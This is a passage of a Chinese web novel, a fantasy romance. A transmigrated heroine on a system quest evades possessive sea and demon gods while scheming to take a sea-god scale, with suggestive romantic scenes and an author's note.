季白快速扫了一眼,就毫不犹豫地往珊瑚丛的方向赶去,为了节省时间,季白往自己的身上套了好几个加速魔法,不过短短几息季白就赶到了上次来过的珊瑚丛。 她望着如死一般寂静的珊瑚丛与底部随水波而动的海带,抬手摸了摸头顶的隐形帽子,底气稍微足了一点。 上一次有涅塞斯在外看着,她没敢把帽子戴在头上害怕会引起他的怀疑,结果先被怪鱼撕咬后又被海带缠绕导致窒息而死,这一次她有帽子在,无论是怪鱼还是海带应当都不会发现她的踪迹。 季白一面想着一面往珊瑚丛最深处走去,也不知道这次还能不能遇见上次救了她的魔龙。 她想帮它疗伤。 “涅塞斯,你怎么回海底了?”赫瑞特慵懒地靠着残恒的石柱上,狐疑地看着他,“不继续在奥斯俐学院假装老师了?” “小白已经离开,我没有继续留在那儿的理由。” 赫瑞特听到这儿轻笑一声,眼神中带了几分讥讽。 “我还以为你费那么大的心思能钓上想要的大鱼呢,结果还不如什么都没做的泊里。” 赫瑞特说到这儿,故作愤怒地愤愤道:“你说他怎么就那么好运?都已经失去记忆了,还能恰好遇上转世的小白。” “早知小白这一世这么心软,我也就假装成命运多舛的悲惨少年了。” “她明明上一世喜欢的还是神秘而强大的异性,怎么这么快就变了?” 涅塞斯神色如常。 “你用了两个身份接近小白,也没能让她对你高看一眼吗?” 赫瑞特的眼神顿时变得无比阴郁,垂在腿边的手紧紧握在一起,“她就是个骗子!” “若再让我遇见她,我一句话也不会信她,封住她的嘴,直接带回深渊。” 涅塞斯微微挑眉,“气成这样,她对你做什么了?” 赫瑞特眼眸暗了暗,转了个话题,倾身凑近涅塞斯,低声说:“不过小白好像又从泊里那儿逃走了,你说她会去哪?她把你视作她的老师,你说,她会不会回学院找你?” “逃走了?”涅塞斯湛蓝色的眼眸微微睁了睁,“看来我们还有机会。” “我留了分身在奥斯俐学院,如果小白来找我,我会立刻知晓。” 赫瑞特紧盯着涅塞斯的神色,墨绿色的眸子在笑着,可眼底却是暗流涌动的寒意。 “你不知道?” 涅塞斯浅笑。 “知不知道有这么重要?你与其来问我,不如花花时间好好找小白的下落。” 涅塞斯说:“查奥斯最近不知所踪,或许季白去找他了也说不定。” 赫瑞特听到这儿,立即拧紧了眉头,涅塞斯见状轻笑一声。 “怎么,不敢去找他?” 赫瑞特嗤笑一声。 “一个疯了的神,我有什么不敢?” 赫瑞特话落就转身消失在涅塞斯眼前,涅塞斯站在原地等了好一会,方缓缓抬脚离开这儿。 下一瞬,赫瑞特的身影再次显现并偷偷跟了上去。 激将法? 呵,真拿本神当傻子了? 我今天倒要看看小白到底是不是藏在你的海神宫! 珊瑚丛深处的海水已经彻底从深蓝色变成伸手不见五指的黑,粘稠到像是某种稠密的胶质液体,每前进一步都变得无比艰难。 不过幸运的是有了隐形帽子的加持,季白这一路都没有被任何生物发现,可惜的是她也没有遇见上次救过她的巨龙。 在永无止境的黑暗中,季白忽然看见下方有蓝光闪烁,温润而亲和的力量似是被太阳照得暖烘烘的海水浸润着你疲乏的身体。 “找到了!”季白大喜过望,没想到此行竟然这般顺利,她加快了游动的速度,待她离那抹蓝光越来越近的时候,四周乌黑而稠密的海水也再次变得清透起来。 只是被它的光芒所笼罩,季白周身就好似*充斥着无穷无尽的力量。 季白在蓝光前站定,终于看清了蓝光里面所包裹的东西,是一个紧闭的蚌壳。 她想要的东西应当就在蚌壳里面,她试探性的伸出手敲了敲蚌壳,见蚌壳并无攻击性后,方放心地用力掰它试图将其打开,可无论她用多大的力气,这蚌壳都固若金汤,哪怕是用力凿它,也不会在它的壳上留下半分痕迹。 季白咬了咬牙,打算连蚌壳一起带走,然而这蚌壳也似是长在了这海底一般,压根搬不动。 她一通折腾人累得气喘吁吁,可蚌壳却还是稳稳当当地嵌在原地,好像什么事也没发生过。 果然……系统的任务就没有一件简单轻松的。 耳边突然传来一道陌生的声音,这道声音古老且沧桑还带着一种异样的熟悉感。 “只有海神的鳞片可以打开它。” 季白循着声音抬头看去,然而眼前只有一览无余的海水,连一条小鱼都没有。 她立即出声问询。 “你是谁?” “你为什么要帮我?” 季白问完后,眼神立刻变得警惕起来。 她带了隐形帽子,就连神明都无法探查出她的踪迹,这道声音的主人却知道她在干什么…… 如果他有心害她,季白握紧了垂在腿侧的手,心中掠过了百种解决办法。 然而那道声音的主人却好似离开了一样,无论季白怎么探寻,怎么试探都再听不见他的声音。 季白垂下眼帘重新把视线落在面前的贝壳上,有了神秘人的提醒,季白果然在贝壳的下方找到了一个鳞片形状的凹槽。 海神的鳞片,季白想到了涅塞斯那条漂亮的银蓝色鱼尾,恍惚间她仿佛又感觉自己的小腿正在被他的鱼尾紧密缠绕。 季白缓了缓气息,暗自懊恼当时没有趁机拔一片下来,害得现在又得返回去找涅塞斯。 但愿赫瑞特能缠得他久一点,让涅塞斯无暇发现她曾经离开过。 季白这么想着,就立即往回赶,路上还趁机找出了系统扔给她的地图,只见属于涅塞斯的红点已经落回了她离开时的宫殿。 季白顿时周身一寒,脊背止不住的发麻,轻颤。 完蛋,涅塞斯已经发现她离开了。 季白舔了舔唇,大脑开始飞速运转,她到底应该怎么说才能让涅塞斯相信她呢? 赫瑞特一路悄悄跟着涅塞斯,但见他神色无异,脸上连半分笑容也没有,实在不像是藏有季白的样子。 不过这家伙向来城府极深,喜怒不行于色。 赫瑞特一路跟着他来到一座漂亮的宫殿,沿路也遇见了季白出来时撞见的怪鲛们。 那帮怪鲛见到涅塞斯时立即低下头恭敬的行礼,就好像是卫兵见到国王一般。 涅塞斯神色如常,似乎丝毫没有察觉到他们有什么不对劲,目不斜视地继续往前走。 赫瑞特忍不住皱了皱眉,这家伙的癖好还真是一如既往的古怪。 每天看着这样的怪物,他自己都不会觉得恶心吗? 赫瑞特知晓涅塞斯曾和他们有过不愉快,若是他直接杀了就是,给了他们永生的灵魂,却又没赐予他们永生的躯壳。 下次再来这帮鲛人怕是就剩白骨了。 赫瑞特眼见涅塞斯进了宫殿,也想要跟着进去却被宫殿的阵法拦了下来,他悄悄用神力试探了下,若要强闯自然也能进去,只不过多半会被涅塞斯发现。 赫瑞特想了想,幻化出一缕神识依附在宫殿的阵法之上,借着这缕神识赫瑞特能轻而易举地看清宫殿内的布局。 只见涅塞斯一个人寂冷地站在宫殿里透过窗遥望着远方的大海,精致漂亮的眉眼如霜雪般冷寂。 只这一眼赫瑞特就彻底放了心,这种心死如灰的表情一看就是没有找到季白的下落。 若是季白真在他这儿,这小子再能装也不可能露出这种表情。 赫瑞特这么想着就彻底放下了心准备离开,不过在离开前,他打算前往深海找几颗鲛珠,他的城堡里还缺几盏照明的灯。 季白加快速度往回赶,她已经想到了一个糊弄涅塞斯的办法,但愿会起效。 只顾着赶路的季白并没有注意到前方隐匿了身形的赫瑞特,只听“砰”的一声季白就觉得自己好似是撞到了什么东西,她蓦地抬头四处观瞧,可什么也没有看见。 季白心中警铃大作,该不会……该不会是刚刚在珊瑚丛里出声提醒她的神秘人吧? 他跟到这儿来了?他到底想做什么? 赫瑞特只觉好似有一阵风穿胸而过,激得他的心忍不住震颤,好似是遇上了什么重要的东西。 他站在原地,抚上自己砰砰直跳的心口,这种感觉是只有在遇见季白时才会有的反应。 他绿色的眸子顿时一亮,充满期待地认真环顾四周。 她就在这儿! 可无论赫瑞特这么找,他都无法感知到季白具体的方位。 比起泊里,赫瑞特擅长隐匿,也就更擅长寻找隐匿的人。 他闭上眼感知着水流的波动,感知着刚刚穿胸而过的气息,他一步一步地往后走,伸出手抓住虚无的海浪。 正在东张西望的季白突然感觉有什么东西抓住了自己的手腕,她吓得心跳一停,就连呼吸都止住了。 这是一双人类的手,一双温度滚烫的手,这双手还莫名有点熟悉。 “抓到你了。” “小骗子。” 季白蓦地瞪大了眼,不可置信地看着空空如也的面前,是赫瑞特! 他怎么会发现她? 一抹俊美到令人失语的身影缓缓在季白眼前显形,如海藻般的墨绿色长发在水中荡起令人心动的弧度,殷红的嘴角含着一抹笑意,眼睛定定望向季白的方向。 “胆敢欺骗恶魔的人类,你做好付出代价的准备了吗?” 他从头到脚都精致完美到仿若一尊画中人,每一根头发丝都像是经过美神的精心设计,带着蛊惑人心的诱惑。 季白的心蓦地开始急速跳动,极度的紧张与刺激之下,脸颊也变得滚烫。 可她又很快强迫自己冷静下来,眼前的赫瑞特看似是抓住她了,可他也根本不能确定她就在他的眼前。 他握着她手腕的手时而紧时而松,好似是不能确定自己有没有真的抓住她一样。 他的眼睛里也没有倒映出她的身影,她可以感知到他,他却无法感知她的存在。 在他那儿,她就像是一缕抓不住的空气。 季白想到这儿,心中也逐渐平静了下来。 她缓慢地挣脱了赫瑞特,一步一步地朝后走,可赫瑞特显然比泊里要敏感许多,哪怕他感知不到她的存在,但也能依稀辨别她的方位,他似是察觉到她要离开了。 他眉毛微挑,眼中是熊熊燃烧的怒火。 “还想跑?” “这一次我不会再放你走了。” 赫瑞特说完指尖就泛起一层幽幽的绿光,季白见他要动用神力,想也不想地就继续往后退,可她的身后就是一块礁石…… 已经退无可退了。 难道今天真要被赫瑞特带回去? 其实比起心思难猜的涅塞斯,她觉得赫瑞特这家伙的身边要安全多了。 他虽然每次嘴巴凶狠,但至少喜怒形于色,就算真的生气了,只要哄一哄也就没事了。 但是一旦跟着赫瑞特离开,再想完成海神的任务就难了。 季白脑中灵光一闪,悄悄从系统的背包中取出一件东西,为了保险起见,季白还特意在上面写了一句未完成的求助,而后反手将它塞进了身后的礁石中。 她身子快速往右一滚,赫瑞特本能地就要追上来,可他的目光却在顷刻间被藏在礁石里的一抹光亮所吸引。 趁着赫瑞特愣神之际,季白转身就跑,一刻也不敢停。 小特,你先别急着抓我,我肯定还会回来坑你的。 季白一面跑,一面忍不住在心中吐槽。 幸好她机灵,不然还真被赫瑞特抓住了。 赫瑞特捡起礁石里的东西握在掌心,是奥斯俐学院的校徽,上面还刻有季白的名字。 她果然在这儿,这是她故意留给他的吗还是她不小心丢在这儿的? 赫瑞特后知后觉地要再去寻觅季白的踪迹,然而季白这时早已经跑远了,一切都了无痕迹,纵然是他也再也找不出来了。 他眼中划过一缕暗色,握住校徽的手情不自禁地收得更紧了些,所以……他是又一次被季白耍了吗? 好,很好,他不信季白能躲一辈子,既然已经确定季白就在海底,那么他一定会把她抓回来! 赫瑞特带着滔天的怒火就要朝海神宫的方向走去,抬脚时,他忍不住又低头看了一眼手中的徽章,却在徽章的背面发现了一行歪歪斜斜的字。 「救……里特斯群……」 这行字很短,只有五个字,且写得歪歪斜斜笔锋很是急促,像是在危难之际时写得。 季白在里特斯群岛,还是说……这又是她骗他的一个手段? 季白快步赶回海神宫附近时,就立刻点出地图查看涅塞斯的位置,他还留在海神宫里,甚至一步未动。 季白恍惚间仿佛看见他站在寂冷的宫殿里垂眸沉思的神色,他湛蓝色的眼睛比寒冰还要冷,眼底是无动于衷的冷漠,就像是他上一次杀她时的表情。 季白想到这儿,忍不住打了个冷颤,甚至想立刻掉头回去找赫瑞特,先完成属于赫瑞特的任务。 但季白很快就打消了这个念头,事情再困难也都得做。 她计算着时间静静等待着那帮怪鲛回来,突然,海水再次进行波动,季白回眸看去就看见大批量的怪鲛正缓慢地游了过来,她立时取下头顶上的隐形帽子挂在身上装作极为害怕的样子尖叫着。 这个距离不会吸引已经远去的赫瑞特,却足以让海神宫里的涅塞斯听见。 那群怪鲛听到季白的动静后,转动着僵硬的身子朝她看了过来,它们的脸一张比一张可怖。 血肉模糊,肉虫翻滚。 哪怕什么动作都没有,也足以吓得人说不出话。 哪怕季白已经经历过诸多恐怖怪物的历练,但看见这样的脸还是本能地感到恶心。 那群怪物虽生得恐怖,可却并没有攻击季白的动作,相反,他们反而像是看见了什么恐怖的东西一样,立即如鱼群般四处逃窜。 可因为他们僵硬的动作与身体,他们反而撞成了一团,使本就破烂不堪的身体又撞掉了不少黏腻的肉。 季白亲眼看见他们中有鲛捡起碎掉的血肉往自己的身上按,就像揉捏橡皮泥一样…… 季白惊恐的尖叫中多了几分真情实感,她甚至感觉那些血肉里的肉虫要朝她奔过来了。 不害怕但很恶心。 季白的眼睛忽而被人捂住,紧接着就落入一个微凉的怀抱,身后是来人温柔如初的问询。 “怎么跑这里来了呢?” “不是告诉过你,不要乱跑吗?” 他的声音听起来平静又温和,没有半分的不开心,只有满满的关心与担忧。 季白却半点也没有放松下来,他上次杀她的时候也是这么的温柔…… 季白装作害怕又委屈的样子直往涅塞斯的怀里钻,“呜呜呜……你怎么才来,你为什么去了那么久?” “我等了你好久好久都不见你回来,就想着出来找找你。” “可是我一出来就发现到了一个特别恐怖的地方,呜呜呜……他们到底是什么啊,为什么会变成现在这样好可怕。” “涅塞斯老师,我不想在海底了。”季白紧攥着涅塞斯的衣襟,一幅被吓狠了的样子,“我们回陆地好不好?” 涅塞斯垂眸望着怀里被吓得瑟缩的人,见过黑暗神与光明神的人会被几条普通的鲛人吓成这样吗? 他的手温柔地轻抚着她的后背,声音也温和得像是哄孩子一般,可目光却全然没有看她,而是冰冷冷地侧眸看向不远处的鲛人们,眼底是漠然的死寂。 只看他的脸完全不能把他的声音和动作与他冰冷的神色联系在一起,有一种诡异的违和感。 那帮鲛人们还在慌乱地捡着掉落的肉,如同陷入偏执的疯子一般固执地把肉往骨头上镶,蠕动的肉虫被掐成两半又变成两条新的虫子四散着在海水中蠕动。 这可怕的一幕对于涅塞斯来说已是稀疏平常的事,可怀里的人又抖得那样真切。 或许……对于人类来说这一幕确实很可怕。 无论是泊里还是赫瑞特都只会把最好的一面展示给她,哪里会给她看这么恐怖的东西呢? 上一次在奥斯俐学院的试炼里,只是一个普通的幻阵就把她吓成那样了。 “别怕。”涅塞斯轻声说,“他们不会伤害你。” 他编了一个美丽的故事。 “很吓人是吗?抱歉,没有想到你会出来撞见这一幕就没有提前告诉你。” “他们……”涅塞斯垂下眼帘,做出一幅伤心的样子,“是我很久很久以前的家人与伙伴,可海洋并没有赐予每一位海族永生的权利。” “是我的私心想要固执地留下他们,他们就变成了现在的可怖模样。” 涅塞斯一面述说着对亲人与朋友的不舍,一面微微动了动手指,无论是鲛人还是翻滚的肉虫都全部在一瞬间被碾成了飞灰,裂开的血肉被尖锐的寒冰所冻住坠入深海的裂缝中成为了海底礁石的一部分。 太恶心了。 这样的东西不该在小白的面前出现。 季白缓缓抬起头看向涅塞斯,颤颤巍巍地问:“他们……他们曾是你的家人吗?” 涅塞斯浅浅地微笑,点头应了一声。 “嗯。” 季白抬手轻抚着涅塞斯的脸颊,一脸心疼地说:“我好像没那么害怕他们了。” “亲眼看见自己的家人变成这样……涅塞斯老师心里一定很难过吧?” 涅塞斯低眸紧紧抱住她。 “不难过了,有你陪着我,我很幸福。” 季白一脸失落地低下头。 “可我只是普通人类,总有一天会死,我……我是不是最后也会变成他们那样?” “不会的。”涅塞斯低头吻上她的额头,“我不会让你变成那样。” 被神明偏爱的少女,他会赐予她永恒的美丽。 【作者有话说】 更了小一万勉强把这几天没更的补上了。 可能是写到最后一个副本快要结局的原因,总感觉不太满意,也常常卡住,所以最近的更新都不太稳定,明天会恢复正常,尽快把它写完,快五十字了,对我来说真的是蛮长的一本书。 108 第108章 季白灵动的眼眸一眨也不眨地盯着他,澄澈的瞳孔里倒映着他温和又漂亮的面容,眼底是满满的信任与依赖,好似眼前的人是她最重要的人一般。 “好,我相信涅塞斯老师。”季白紧紧抱着他的腰身,把头重新埋回他的怀里,小声说,“如果有一天我的生命也走到尽头,就让我彻底死掉吧,我不想……变成他们那样。” 涅塞斯轻揉着她的乌发,语气温柔至极。 “好,都依你。” 季白一听这话脊背蓦地一凉,甚至有一种她马上要被他掐死的错觉…… 季白抓着他衣襟的手紧了紧,另一只手则悄悄摸上了挂在身上的隐形帽子,如果涅塞斯真打算动手,她就只能先试试把泊里与赫瑞特吸引过来制造混乱,随后在趁机逃跑。 可惜……海神的鳞片还没有拿到。 季白垂眸看了眼涅塞斯笔直修长的双腿,他怎么把鱼尾巴收回去了? “在看什么?”微凉的手掌摸上她的下巴随后抬起她的头,湛蓝色的眼睛温和地注视着她,嘴角噙着一抹淡淡的笑意。 存在感极强的手不安分地摩挲着她的下巴带来阵阵酥麻的感受,柔软的指腹时不时扫过唇瓣,像是故意为之,又似是无心之举,反而勾得人心中不上不下。 季白壮着胆子摸上涅塞斯的腿,好奇地问:“涅塞斯老师,你的鱼尾巴呢?” 涅塞斯的眼神暗了暗,声音有几分哑。 “小白喜欢我的鱼尾巴?” 季白并没有正面回应,只是笑眯眯地说:“涅塞斯老师的尾巴很漂亮。” 涅塞斯的呼吸蓦地变得有些沉,微凉的体温也开始逐渐攀升,他紧紧抱住她闪身回到季白先前待过的海神宫,只觉蓝光一闪,等季白再次回过神就被涅塞斯按在了床上。 他的手臂如绳索般紧紧箍住她。 “你知道鲛人的尾巴是用来做什么的吗?” 季白紧盯着他下身鼓起的一片,涅塞斯注意到她毫不遮掩的目光,呼吸又是一顿,鼓起的地方越发严重了。 季白抱着他蹭了蹭,故意眨着眼睛说:“是交尾吗,涅塞斯老师。” 季白敏锐地察觉到涅塞斯的身子在她蹭上的一瞬间轻颤了颤,可他脸上的表情却看不出什么端倪。 只有滚烫的体温能够证明他此刻正在沸腾燃烧的情欲。 “答对了,季白同学。” “那我有奖励吗?”季白壮着胆子去摸,满含期待地望着他。 等会骗出他的尾巴就趁机揪下来一片,要是涅塞斯问就解释太好看了想收藏,但她不确定这样的伎俩是不是对涅塞斯管用。 拿到鳞片并不难,难得是不能引起涅塞斯的怀疑。 她刚刚失踪过一次回来就要他的鳞片,涅塞斯不可能不多想。 涅塞斯嘴角的弧度微微扬了扬,滚烫的手掌放在她的脖颈上像逗弄小猫一样轻揉着她的下巴。 “只有乖同学才有奖励,季白同学是乖同学吗?” “我是。”季白蹭了蹭他,说,“涅塞斯老师之前不还说我是你最好的学生吗?” 涅塞斯蓦地轻笑出声,声音依旧温柔似水。 “是吗?可是老师今天离开前明明告诉过你,不可以乱跑,为什么不听老师的话呢?” 他低眸看她,湛蓝色的眼睛像蓝天般温柔,可放在她脖颈上的手掌却好似在缓缓收拢…… 季白隐隐有一种自己要被他掐死的错觉,不会吧…… 不会真的又要死一遍吧? “不听老师的话也是乖同学吗?” 涅塞斯绝对是季白见过最恐怖的男主,无论是情欲还是爱意似乎都不会成为他的枷锁。 他为了达到他的目的,不在乎任何人,任何事,只要季白有一点脱离他的掌控,他就会毫不犹豫地将其杀死。 他看似温和心却冷硬,似是一块硬邦邦的石头,又似是一台不被任何情绪所干扰的机器。 “对不起,我知道错了。”季白立即委屈的道歉,装作一副懵懂无知对着师长撒娇的模样,“我等了你很久很久,你都不来,我一个人待在这儿,实在很害怕。” “我看外面的风景很好,就想着去外面等你……”季白说到这儿又哭了,“谁知道竟会去到那么诡异的地方,我又惊又怕,只想去找你。” “结果却越走越远,越走越远。” 季白不敢对着涅塞斯流露出太多的恐惧,一位信任并喜欢自己老师的学生不应该会害怕她喜欢的人。 她会撒娇会撒赖会生气,但永远不会害怕一个从未伤害过她的人。 她琢磨着她该有的样子,小心翼翼地在涅塞斯面前扮演一位乖女孩的形象。 “求你了,你原谅我好不好?”季白拽着涅塞斯的衣角撒娇,见涅塞斯不语,又壮着胆子主动去亲吻他的嘴角,“我以后一定听老师的话。” 涅塞斯垂下眼帘凝望着季白撒娇的脸,真可爱啊,可爱到想要永远地留下她。 他按着她的后脑加深了这一吻,轻喘着问她。 “告诉我,你是怎么出去的?” 季白本能地就又要装傻充楞,可当她对上涅塞斯湛蓝的眼睛时却突然灵光一闪,到嘴的说辞就变了。 “我……我试了好多次。”季白说,“这栋房子像迷宫一样,明明我要去那儿,它却把我传送到另一个地方。” “不过虽然很诡异,但我一直不停的试,终于让我摸出了点规律。”季白越说越自豪,说到最后结尾时甚至用一脸傲娇的表情看着涅塞斯,就差没把快表扬我三个字写在脸上了。 涅塞斯不是傻瓜且下手极狠,装傻充愣对他没有用,反而会被他怀疑她伪装的目的。 不如大大方方地告诉他,是她破解的。 他反而能放心一点。 季白见涅塞斯半晌不说话,主动凑到涅塞斯面前,笑眯眯地问:“涅塞斯老师,我是不是很聪明?” “这一次我总该值得一份奖励了吧?” 涅塞斯轻笑,“想要什么奖励?” “我……”季白的脸红了红,“我想看涅塞斯老师的尾巴。” 涅塞斯抱着她的手微微用了用力,她很快就感知到他不容忽视的存在,滚烫的手掌顺着下巴往上摸落在她柔软的脸颊上,温和的语气中带了几分笑意,“是想看我的尾巴,还是想和我交尾?” “我……”季白的脸像是煮熟的虾子一样,就连周围的海水仿佛都变得沸腾了,她低低地小声说,“我能都要吗?” 涅塞斯轻笑一声,捏了捏她的鼻子。 “季白同学很贪心嘛。” 季白壮着胆子直勾勾地盯着他。 “是,我就是一个贪心的人类。” “所以可以吗?” “今天只能满足季白同学的一个心愿。”他倾身吻了下来,笔直修长的腿强势地分开她的腿。 密切炙热的吻弄得季白晕晕乎乎的,在一片潮热的迷离中她的耳边突然传来他的声音。 “和我很舒服吗,所以这么喜欢?” “分开一会就又想要了?” 季白听得一阵脸热,不过他的技巧确实很不错,不在赫瑞特之下,不负他们鲛人魅惑的名声。 至于泊里…… 那家伙太粗暴了,就像是有使不完的牛劲。 “感受到了。” “小白确实很喜欢。” 季白怀疑涅塞斯已经开始怀疑她了,不然他在做的时候始终不肯露出鱼尾,坚持要用人类的样子同她欢好。 季白深知涅塞斯性狡且多疑,因而也不敢一直频繁地提出要看鱼尾巴。 只是不停地勾着他……希望他能在失控的时候露出鱼尾巴,结果最后失控的人反而是她。 季白想到这儿,恨恨地捶了下床。 美色误人啊! 一双漂亮的手从另一侧接住她的拳头,温和的语气带着几分调侃地笑问:“床怎么惹你了,好端端的打它做什么?” 他拉着她的手递到嘴边含笑低头轻吻了一下。 “你不喜欢这张床,我换一张。” 季白看着近在咫尺的俊颜,有一瞬间的失神。 季白明知他是坏人,但是这张脸真的很好看,季白恨自己的肤浅。 涅塞斯好像是知道季白好色的弱点似得,笑着凑近她,漂亮的蓝色头发有几缕垂落至她的脸上带来淡淡的痒意,那双漂亮的蓝色眼睛里盛着她的脸,好似天地间只剩了他们两人。 “不喜欢床,很喜欢我吗?” 季白咽了咽口水,魅魔,简直魅魔级别,难怪她会死在他手上。 季白垂下眼帘,结结巴巴地说:“喜……喜欢。” 涅塞斯轻笑了一声,又一次说:“那就不要回陆地了,留下来吧。” “我……我饿了。”季白慌乱地说着,随后就立即跑下了床。 自从那天季白告诉涅塞斯自己破解了宫殿的阵法后,涅塞斯就让这座宫殿恢复正常了,并带领着她在宫殿的每一个角落都去了一遍,这几天下来季白对这儿也算熟悉得和自家一样了。 唯有一个地方很特别,涅塞斯没说过不准去,但也没有带她去过。 季白去往餐厅的时候,刻意往那儿看了一眼,那是一扇一直紧锁的门。 第109章 四合一 “想吃什么?”涅塞斯温和的声音蓦地从季白身后响起,季白吓了一跳,回头就撞进了涅塞斯温和的蓝色眼眸。 他的目光不着痕迹地看了眼那扇紧锁的门,季白立时感受到了一股不安的情绪,这是生物在面对危险时流露出的本能信号。 “我想吃虾和海藻饼。” 涅塞斯笑得温柔,“好,我去做。” 他上前牵起季白的手带着她往餐厅走去,在经过那扇门时,涅塞斯突然停下了脚步,转眸看向季白。 “想进去看看吗?” 季白顿时全身的肌肉都紧绷起来,仿佛涅塞斯问的不是想进去看看吗,而是想不想死…… 季白装作好奇的样子,问:“里面有什么?” 季白说着还又转过头仔细看了一眼上锁的门,笑眯眯地打趣:“涅塞斯老师带我去了这座宫殿的每一间房,还从来没带我去过这一间。” “涅塞斯老师该不会藏了秘密在里面吧?” 涅塞斯笑容不改,语气亦是云淡风轻,却听得季白心里一跳一跳的。 “是啊,房间里有涅塞斯老师的秘密,小白同学想不想去看?” 季白莫名有一种只要进去就会死的感觉,但她又不敢让涅塞斯察觉出她在害怕,因而一脸好奇又兴奋地问:“我可以去看吗,我可以看涅塞斯老师的秘密吗?” 涅塞斯牵着季白的手走到这扇紧锁的门前,“我没有什么秘密是你不能看的。” 他侧眸看她,嘴角挂着一抹浅浅的笑,漂亮的蓝色眼睛微微眯起。 “只是里面的东西对你来说……会有点可怕。”他的手抚上门上的锁,门锁“咔擦”一声就开了,在这寂静的宫殿听得格外明显,季白甚至能听见它悠远的回声。 季白立时找到不进去的理由,装作害怕的样子抓着涅塞斯的手:“那我还是不要看了。” “我胆子很小的。” 涅塞斯垂眸看她,随即轻笑一声,“行,听你的。” 他微凉的手指摩挲着季白的手背,牵着她往厨房走去,好似刚刚发生的一切不过是一个小插曲,就在季白快要淡忘这场突如其来的试探时,刚做好海藻饼的涅塞斯突然又低声说: “小白胆子很小,好奇心却很强。” 他转过头来莹润洁白的指尖正捏着一只奄奄一息的虾,他慢条斯理地剥下虾壳连同头一起掐掉,动作优雅又利落。 “不会趁我不备,偷偷进去看吧?” 他话落,手中的虾头就被他扔至垃圾堆里发出一道细弱的“砰”声。 季白心尖一颤,莫名感觉他掐的不是虾头而是自己的头。 涅塞斯身边真是越来越危险了,她得尽快取到涅塞斯尾巴上的鳞片然后离开这儿。 季白低着头咬了一口咸脆的海藻饼,含糊不清地说:“我不会的。如果我真要去一定会喊涅塞斯老师和我一起去,老师又不是不准我去,我为什么要偷偷摸摸的?” 涅塞斯没有接话,过了一会端来了新鲜且熟透的虾肉,漂亮精致的白瓷盘下是一双骨节修长极为漂亮的手,可季白却总能想到这双手刚刚是如何干脆利落地掐掉虾头的画面。 涅塞斯见她愣神不动,捻起一只煮熟的虾递到季白嘴边,唇角挂着一抹温和的笑。 “怎么不吃?” 季白一时没反应过来,张口就问了一句。 “你洗手了吗?” 涅塞斯眉尾微微挑了下。 “嫌老师的手脏?” 季白立即摇摇头,“不是,就是……吃饭的时候要洗手。” 涅塞斯轻笑一声,“洗过了,放心吃吧。” 季白张开嘴一口咬下涅塞斯手中的虾肉,柔软的唇瓣不经意地碰到涅塞斯的指尖。 轻轻一触的酥麻感立时顺着手指传了过来,涅塞斯蓝色的眼眸暗了暗,随后又拿起一只虾递到季白嘴边,目光始终落在她的唇上。 “吃饱了吗?”涅塞斯从怀中取出丝帕慢条斯理地帮她擦拭嘴角,隔着丝帕似乎都能感受到她柔软鲜活的肌肤。 是独属于活人的肌肤。 “吃饱了。” 季白肚子吃饱后,脑子又开始活泛,目光止不住地往他下身看,视线频繁到让涅塞斯想忽略都难。 “怎么了?”涅塞斯捧住季白的脸,湛蓝色的眼睛紧紧盯着她,“一直往我的下面看,在想什么?” 季白心一横,心想反正赫瑞特现在也在深海,若涅塞斯真要动手,她就把帽子收进系统空间,制造混乱后再趁机戴着帽子逃跑。 在这样磨磨唧唧下去,不知哪年哪月能拿到她想要的东西。 季白这么想着就直接扑入涅塞斯怀里,手不停地摸着他的腿说:“涅塞斯老师,我想看鱼尾巴。” “求你了,再给我看看好不好?” 涅塞斯微微挑眉,“这么喜欢老师的尾巴?” 季白连连点头。 “喜欢,老师的尾巴是我看过最好看的东西,世间所有的美好都比不上它半分。” 涅塞斯的手指轻轻摩挲着她红艳艳的唇,温和的语气染上了几分沙哑。 “小白这张嘴总是喜欢说好听的话。”涅塞斯低下头吻住她的唇,嘴唇相碰的一瞬间,他的呼吸变得紊乱,强烈的渴求从心中涌出,可他却强压了下去,有一下没一下地舔吻着她,“你也用这样的话夸过泊里与赫瑞特吗?” 这番话如一盆冷水般当头浇在季白的头上,浇灭了她心中刚刚攀援而生的欲望。 她心中止不住的打鼓,不明白涅塞斯为何又突然提起他们两人,难道是那一天赫瑞特对他说了什么? “没有。”季白立刻表真心,“我只用这样的话夸过你。” 季白讨好性地主动蹭了蹭他,亲吻他的嘴角,一脸真诚地说:“我没有见过他们的尾巴,只见过你的。” 涅塞斯垂眸看着季白讨好的动作,湛蓝色的眼眸中是温和的笑意,可眼底却涌动着让人辨不明的情绪。 他微凉的手掌贴上她的脸颊,低头缓缓凑近她,鼻尖抵上她的鼻尖,“只见过我的尾巴一次就这么喜欢吗?” 季白正要说话,唇上却突然传来轻微的刺痛感,她睁大了眼睛看着近在咫尺的男人。 “小白究竟是喜欢我的尾巴还是别有所图?” 唇间溢出他喃喃的声音,随后他伸出舌尖撬开了季白的齿列温柔地巡视她嘴中的每一个角落,手指也没有闲着,极力地挑逗着季白的情欲。 周围的海水逐渐升温,潮热的呼吸落在她的脸上带来阵阵痒意,最要命的是涅塞斯的手*指所带给她的刺激感受。 一波波的爽感与愉悦压得她的大脑几乎快要无法思考,可她还是在迷迷糊糊中听见了涅塞斯的那句话。 这一刻,她几近本能地抱着涅塞斯的腰身呢喃地回答他的问题。 “喜欢……喜欢涅塞斯老师的尾巴。” 大脑中名为理智的那根弦好似彻底崩坏,完全沉浸在了涅塞斯带给她的愉悦中。 密密麻麻地吻落在她柔软的肌肤上,低沉的几近诱哄的声音再次在她耳边出现。 “是吗?真的只是单纯的喜欢老师的尾巴吗?乖,小白想要什么直接告诉老师,老师会满足你。” “若瞒着老师,就不是乖孩子了,不乖的孩子是要受到惩罚的。” 耳边的声音好似带着某种魔力一般致使季白的瞳孔都有几分涣散,她本能地就想要把实话全说出来,可话到嘴边时,季白蓦地清醒过来。 她紧搂着涅塞斯,指尖嵌入他的皮肉里,微喘着说:“我喜欢老师的尾巴,老师的尾巴很漂亮,很舒服,喜欢它缠在我腿上的感觉。” “人类不都喜欢腿吗?老师的腿你不满意?” 后面的事季白已经记不太清了,只记得……非常的愉悦。 但等季白醒来看着枕边宽肩窄腰大长腿的涅塞斯时,只觉绝望。 涅塞斯显然是有了察觉,她昨日都那么求他了,他都不肯把他的尾巴露出来。 季白翻了个身钻进涅塞斯怀里抱着他,大脑开始飞速运转,看来想要涅塞斯主动现出鱼尾巴是不可能了,那什么情况下他的鱼尾巴会不受控制的出现呢? 